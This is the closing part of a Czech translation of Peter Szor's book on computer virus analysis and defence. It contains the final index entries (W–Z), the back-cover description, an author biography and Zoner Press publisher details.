wcscat(), 480 wcscpy(), 480 webové prohlížeče, 430 Webový server IIS, 351 WebTV, 91 Whale, 63, 212, 235 whitelist čistých souborů, 422 WIDCOMM, 322 Wildlist of Computer Viruses, 574 William B. Zachary, 28 Win16, 57 Win32, 57, 129 API, 150, 151 aplikace, 198 červ, 245 viry, 145, 149 Win95, 57 WinCE, 57 WinCE/Duts.1520, 109 WinDBG, 557 Windows 2000, 325 2003 Server, 150 CE, 4, 100, 151 Commander, 190 NT, 65, 150 Enterprise Edition, 434 Scripting Host, 94 Update, 274 XP, 150 windump, 520 WinExec(), 94, 409 WinHelp, 58 WinHelpScript, 58 WINLOGON.EXE, 439 winpcap, 520 WinPE, 452 Witty, 508 WM/DMV, 75 WNetEnumResourceA(), 347 WNetOpenEnum(), 347 WNT/RemEx, 448 Word, 55 Word2Macro, 57 Word97Macro, 57

WordBasic, 75, 79 WordMacr, 57 WordSwap, 237 WORD Characteristics, 155 Machine, 154 Magic, 155 NumberOfSections, 155 wprintf, 335 WriteFile(), 221, 409 WSOCK32.DLL, 452

X XML, 84 Xmorfic, 92 XScale, 110

Y Yankee Doodle, 149 Yisrael Radai, 271

Z Zábavné programy, 51 zabezpečení systému souborů, 73 zabudovaný jazyk Basic, 89 Začátek decryptoru, 233 fyzické paměti, 176 původní obsluhy přerušení, 202 virového těla, 217 vstupního bodu, 164 zakódovaného těla, 231 zachycení API CreateProcess(), 485 červa Blaster, 515 Linux/Slapper, 516 chyb v programech, 489 infekce, 515 paketů v síti, 516 požadavku ping, 520 zachycování červů, 504

Počítačové viry – analýza útoku a obrana výjimek, 556 zachytávání provozu na síti, 544, 550 zacílený systém, 513 Začínající výzkumníci, 66 Žádné omezení paměti, 432 Zadní vrátka, 48, 234, 508 Záhlaví nástroje NC, 533 souboru, 153 zahlcení msystem(), 334 zakladatel firmy Autodesk, 37 základní druhy firewallů, 507 NIDS, 509 EPO techniky, 139 koncept červa, 466 metody obrněných virů, 204 techniky infekce, 230 velikost sektoru, 75 Zakódovaná data, 204 červa, 204 zakódované OLE2 soubory, 84 Zakódované viry, 222, 231 Zakódování, 416 zálohy, 499 Záložky, 379 záměna instrukcí XOR/SUB, 252 přípon, 103 zamýšlené viry, 39 zapečetěná paměť, 462 zápis do paměti, 338 záplatování konkrétních zranitelností, 100 virového kódu, 451 zapnutí příznaku trasování, 202 zařízení SY, 74 Zárodky, 48 zarovnání kompilátoru, 218 Zarovnání sekce v paměti, 155 zašifrované spojení, 517 zašifrovaný GML skript, 113

zaslání paketu, 466 zásobníkové oblast, 184 zásobník zranitelného procesu, 199 zastavení replikace červů, 497 s pomocí breakpointů, 396 Zástupné znaky, 377 zavaděč, 120 operačního systému, 493 systému Windows 95, 156, 407 Windows NT, 169, 407 Zavaděče systémů Windows 95, 153 zaváděcí rutina, 133 sektor, 42 zavádění hostitele, 174 zavěšená rutina, 456 Zavěšení INT 1, 208 na API, 143 obsluhu přerušení, 416 souborový systém, 197 se na obsluhu, 180 přerušení INT 9, 213 spuštění programu, 417 Závěsná funkce, 187 závěsné rutiny, 183 INT 13h, 179 21h, 180 zavěšování se na API volání, 143 funkce, 144 přerušení, 175 Závislost makro virů na platformě, 80 na ANSI, 94 AppleScript, 94 archivovaných

607

formátech, 102 AUTORUN.INF, 99 času a datu, 101 debbuggerech, 107 formátu souboru, 69 HTML, 100 jazyku lokalizace, 79 kompilátoru, 109 operačním systému, 65 PIF a LNK, 97 překladači, 75 příponě souboru, 103 procesoru, 64 registru, 97 síťovém protokolu, 104 souborovém systému, 66 velikosti hostitele, 107 verzi operačního systému, 66 vkládaných objektech, 111 vlastním prostředí, 112 vrstvě překladači zařízení, 109 zdrojových kódech, 104 zranitelnosti, 100 záznamy tabulky stránek, 433 v tabulce adres importů, 145 o horní paměti BIOSu, 416 zdroje aplikace, 157 zdrojové kódy systému Windows NT, 48 trojských koní, 105 zdrojový kód, 105 virového generátoru, 263 viru, 207 zdroj ikon, 267 inicializace kódu, 106 zevrubná analýza, 205 Zhengxi, 145 zhroucení napadených systémů, 500 ZIP, 102 Získání

608

Rejstřík

adresy heapu, 355 handle, 455 procesu, 454 obsahu cache, 195 odkazu na první MCB, 431 přímého přístupu na pevný disk, 203 Získávání peněz pomocí virů, 276 živé organismy, 28 zjednodušení komunikace mezi uživateli, 88 Zjišťování EXE/COM, 417 zkompilovaný kód, 473 zkomprimované soubory, 102 Zkomprimovaný soubor, 420 zkopírování kódu, 86 původních bajtů, 128 virového kódu, 183 zlepšování algoritmů, 500 zlib, 472 zmatení heuristiky, 138 zmenšení těla viru, 207 změny obsahu souboru, 469 toku kódu, 482 v souborech, 192 Zmist, 251 značka MZ, 252 značky antivirů, 227 znesnadnění analýzy, 205 Zneužívání glibc, 356 zničení ekosystému, 28 zobrazení dešifrovaného kódu, 562 payloadu, 255 příkazové řádky, 485 Zobrazit skrytá zařízení, 198 Zombie, 44, 69 Zpětné lomítko, 341 volání, 333 zpomalení komunikace, 274 systému, 325

zpomalování počítače, 242 Zpoplatněné linky, 46 zpracování výjimek, 561 zprávy ICMP, 506 zpřeházení jmen souborů, 47 způsob exploitace, 327 komunikace, 512 útoku, 499 zranitelná místa, 323 OpenSSL, 496 zranitelné aplikace, 340 DLL, 486 místo DCOM RPC, 486 programy, 340 servery Microsoft SQL, 521 zranitelnost IIS, 317 rámce výjimky, 353 URL, 341 v Microsoft SQL Serveru 2000, 484 WebDav, 472 Windows, 487 Zranitelnosti, 335 Zranitelnost cíle, 552 Zranitelný kód, 330, 473 Microsoft SQL Server, 511 počítač, 506 zreassemblování hostitele, 147 Zrození, 31 Zrušení NULL, 334 ztráta dat, 267, 514 výkonu, 509 zvyšování práv přístupu, 73

Peter Szor

Počítačové viry analýza útoku a obrana Tato unikátní kniha o počítačových virech vám přiblíží stav v oboru počítačových virů a vývoje antivirů. Klade si za cíl naučit vás metodám analýzy počítačových virů a ochraně proti nim. Autor knihy, Peter Szor, zde podrobně popisuje techniky infekce počítačovými viry ze širokého úhlu pohledu – od infekce souborů, paměti až po napadení počítačové sítě. Dozvíte se spoustu zajímavých věcí o špinavých tricích počítačových virů, které byly v posledních dvou desetiletích vytvořeny těmi na „druhé straně“, a také o tom, jak pracovat se složitostmi polymorfního kódu a exploitů. Kniha se věnuje téměř všem oblastem této problematiky – od popisu prostředí škodlivého kódu a rozdělení metod infekce, přes obranné strategie virů, pokročilé techniky vývoje kódu, exploity a útoky založené na přetečení bufferu k technikám antivirové obrany, skenování paměti, postupům pro blokování červů či způsobům obrany na síťové úrovni a mnoha dalším věcem.

ZONER software, s.r.o. významný producent software v oblasti digitální fotografie, počítačové grafiky a multimédií, poskytovatel internetových služeb, souvisejících s prezentací na internetu a e-komercí a nakladatelství odborné literatury.

O autorovi Peter Szor je světově proslulý odborník na počítačové viry a bezpečnost. Aktivní výzkum počítačových virů vede více než 15 let – na viry a ochranu proti nim se zaměřil už ve své diplomové práci v roce 1991. Během své kariéry Peter pracoval s nejznámějšími antivirovými produkty, jako jsou AVP, F-PROT nebo Symantec Norton AntiVirus. Je autorem více než 70 článků na téma počítačových virů a bezpečnosti.

Z O N E R

P R E S S

Pod tímto logem vycházejí publikace určené pro každého vážného zájemce o práci s počítačem. Od ryze praktických příruček a průvodců až po komplexní publikace o všem, co potřebuje grafik, webdesignér, vývojář či programátor při každodenní práci.

Na slevy, které můžete získat, a vydavatelský plán, v němž vedle knih domácích odborníků najdete celou řadu titulů světově uznávaných autorů, se informujte na adrese vydavatelství.

Věrným čtenářům je určen výhodný PRÉMIOVÝ PLUS PROGRAM.

www.zoner.cz © Foto: Jiří Heller, www.heller.cz Fotografie z nabídky fotobanky HELLER.CZ

E N C Y K L O P E D I E

KATALOGOVÉ ČÍSLO: ZR505

ISBN 80-86815-04-8

Zoner Press tel.: 532 190 883 fax: 543 257 245 e-mail: knihy@zoner.cz http://www.zonerpress.cz ZONER software, s.r.o., Nové sady 18/583, 602 00 Brno

9 7 8 8 0 8 6

8 1 5 0 4 6